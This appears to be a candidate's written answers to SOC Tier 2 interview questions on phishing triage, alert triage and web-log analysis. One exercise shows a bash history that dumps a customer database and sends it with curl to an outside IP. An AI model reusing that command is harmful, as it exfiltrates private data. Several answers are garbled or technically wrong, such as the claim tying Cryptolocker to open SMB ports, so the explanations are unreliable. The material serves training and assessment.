Security Operations Center Analyst – Tier 2

- **What is the most recent security incident you have handled?**

  Recently I did the one of the phishing email investigation a it is a true positive incident the attacker sent the multiple end users. also triggered the alert the type of incident and also first of all I will analyse the how many receive that alert and also end user system is click or not that alert. Actually by mistake one end user clicked that alert immediately we will disconnect through the server network on the system and also we did quarantine the system and also I will analyse the is that phishing email like I will do the header analysis ip validation domain validation and also is there any files or hash values in that phishing email so finally I concluded that it is true positive and also I blocked that signatures, Ip address, domain name and respected tools.

- **During an incident investigation in a Windows system how would you find out which commands were executed by a suspicious user?**

  During the investigation, I will find the IOC commands like that first of all I will analyse the I will do the log analysis from which system is got effected by I will analyse the last 30 days logs and what type of activities have done on that system like I will find out the external IPs related to the system and also how many events are generated and how many logs are generated which type of events generated the traffic inbound or outbound traffic is there in the traffic is there any hash values or URLs or any external things I will find out that based on that, I will find out the process of the command execution.

- **You observe the following commands, what relevant security information can you obtain from it?**

```
jsmith@svr:/home/jdoe$ sudo cat .bash_history

whoami
```

```
pwd

ls -l

mysql -h

mysql -u dbuser -pdbuser

mysqldump -u dbuser -pdbuser partyapp customers > log.txt

curl --form "fileupload=@log.txt" https://104.33.1.37/net

ssh -l root localhost

exit
```

- **What information do you extract from the following security events? Any containment activities needed? Any lessons learned extracted?**

Alert ID	Time	Environment	Service	Alert
A	09:25	Production	DOMAIN\WORDPRESS-DMZ-SVR	Multiple Internal Server Error (500) detected
B	11:30	Production	DOMAIN\WORDPRESS-DMZ-SVR	Malware detected "mimikatz"
C	12:43	Production	FW01	Blocked outgoing connection WORDPRESS-DMZ-SVR -> 104.2.11.21:80
D	14:20	Corporate	DOMAIN\JSMITH-LAPTOP	Malware detected "cryptolocker"
E	14:21	Production	DOMAIN\DC-SVR	AD Catalog sync replication initiated from WORDPRESS-DMZ-SVR
F	15:19	Corporate	DOMAIN\JDOE-LAPTOP	Successful connection from JDOE to DC-SVR\C$

Multiple Internal Server Error (500) detected

500 Internal server error in WordPress can be caused by many things. there’s a high chance one or more of the following elements is causing the issue:

▯ 1) Browser Cache.

 2) Incorrect database login credentials.

 3) Corrupted database.

 4) Corrupted files in your WordPress installation.

 5) Issues with your database server.

 6) Corrupted WordPress core files.

Malware detected &quot;mimikatz&quot;

It is a Malicious Software, It can Capture username and passwords for Windows10, Windows Proffesionals. A mimikatz attack uses several techniques to find sensitive information such as plaintext passwords, hash, pin codes, and tickets from the memory of a system. The collected credentials can then be used to access unauthorized information or perform lateral movement attacks.

Mitigation:

Enabling the Windows Defender.

Enabling the Windows firewall.

Antimalware solutions

Av/EDR Solutions

Blocked outgoing connection WORDPRESS-DMZ-SVR -&gt; 104.2.11.21:80

Block This is ip 104.2.11.21 in Firewall for this particular ip address do not access HTTP service.

Malware detected &quot;cryptolocker&quot;

Cryptolocker is one type of Randsomeware attack. this attack will happen when SMB port is opened.

Mitigation:

1)Closing SMB Ports

2)Anti Malware

3)Regular Patch Updates

4)Advance threat prevention(ATP)

Successful connection from JDOE to DC-SVR\C$

Successful connection from JDOE to Domain Controller.

I learned lessons above security events.

Actually here extracted like alert which type of file it under also service and also that environment that is related to the production or deployment alert id and time maximum this is enough for security event for investigation and also need additionally like that alert date and also some type of information like trial information compromised system details and also host details and also events. and about lesson learned definitely we can this one type of lesson learned whatever we did the investigation from that investigation we can learn new things like go we getting some external ip's like that now also some type of impact happen in our organization so from that we will gain the lesson learned on and also I will create the lesson and learn documents for each and every investigation. I will get the standard opearation procedure document.

- **What information can be extracted from the following logs?**

```
195.1.22.8 - - [18/Feb:09:55:58] "GET /access HTTP/1.1" 404 208 "-" "Mozilla/5.0 (X11) Firefox/195.0"

195.1.22.8 - - [18/Feb:09:55:58] "GET /console HTTP/1.1" 404 208 "-" "Mozilla/5.0 (X11) Firefox/195.0"

195.1.22.8 - - [18/Feb:09:55:58] "GET /setup HTTP/1.1" 404 208 "-" "Mozilla/5.0 (X11) Firefox/195.0"

195.1.22.8 - - [18/Feb:09:55:59] "GET /management HTTP/1.1" 404 208 "-" "Mozilla/5.0 (X11) Firefox/195.0"
```

404 code indicates that the requested resource was not found at the URL given, and the server has no idea how long for.

```
195.1.22.8 - - [18/Feb:09:55:59] "GET /admin HTTP/1.1" 401   45 "-" "Mozilla/5.0 (X11) Firefox/195.0"

195.1.22.8 - - [18/Feb:09:57:01] "GET /admin HTTP/1.1" 401   45 "-" "Mozilla/5.0 (X11) Firefox/195.0"

195.1.22.8 - - [18/Feb:09:57:01] "GET /admin HTTP/1.1" 401   45 "-" "Mozilla/5.0 (X11) Firefox/195.0"

195.1.22.8 - - [18/Feb:09:57:01] "GET /admin HTTP/1.1" 401   45 "-" "Mozilla/5.0 (X11) Firefox/195.0"
```

401 code indicates that before a resource can be accessed, the client must be authorised by the server.

```
195.1.22.8 - - [18/Feb:09:57:02] "GET /admin HTTP/1.1" 200 487 "-" "Mozilla/5.0 (X11) Firefox/195.0"
```

This is the code that browsers receive when every has gone according to plan.

- **Can you share your github repository, if you have one?**

  https://github.com/sakanil/Security-Operations-Center-Analyst-Tier-2.git